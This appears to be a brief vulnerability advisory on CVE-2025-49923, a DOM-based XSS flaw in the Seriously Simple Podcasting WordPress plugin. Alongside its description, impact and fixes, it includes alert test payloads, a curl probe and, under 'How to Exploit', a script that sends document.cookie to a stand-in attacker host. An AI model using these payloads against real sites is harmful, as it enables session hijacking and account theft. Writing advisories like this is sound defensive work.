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The CVE-2025-49923 vulnerability in the Seriously Simple Podcasting WordPress plugin arises from improper neutralization of user input during web page generation, leading to DOM-Based Cross-Site Scripting (XSS). In versions up to and including 3.11.1, the plugin fails to adequately sanitize user-controlled data that is reflected in the Document Object Model (DOM). Attackers can exploit this by injecting malicious JavaScript payloads through crafted inputs, such as URL parameters or form fields, which are then processed by client-side scripts. When a victim visits a page containing the injected payload, the malicious code executes within their browser context. This execution can occur without server-side validation, as the vulnerability is DOM-based, meaning the tainted data flows from a source (like location.hash) to a sink (like innerHTML) without proper cleansing. The plugin’s handling of podcast embedding or player rendering functions likely incorporates unsanitized input into dynamic HTML updates. This allows attackers to steal session cookies, hijack user accounts, perform actions on behalf of users, or deface websites. The vulnerability is particularly insidious as it may bypass traditional server-side security filters, relying entirely on client-side rendering flaws.
Platform: Seriously Simple Podcasting
Version: Up to 3.11.1
Vulnerability: DOM-Based XSS
Severity: Medium
Date: 2025-10-22
Prediction: Patch expected 2025-10-29
What Undercode Say:
Analytics:
wp plugin list | grep seriously-simple-podcasting curl -s "http://example.com/podcast-player?param=<script>alert(1)</script>" | grep -o "script"
<script>alert(document.cookie)</script>
How to Exploit:
Inject malicious script via vulnerable parameters in podcast player URLs or forms. Example: http://victim-site.com/?ssp_embed=<script>fetch('https://attacker.com/?c='+document.cookie)</script>.
Protection from this CVE:
Update plugin immediately.
Implement input sanitization.
Use Content Security Policy.
Impact:
Session hijacking.
Data theft.
Website defacement.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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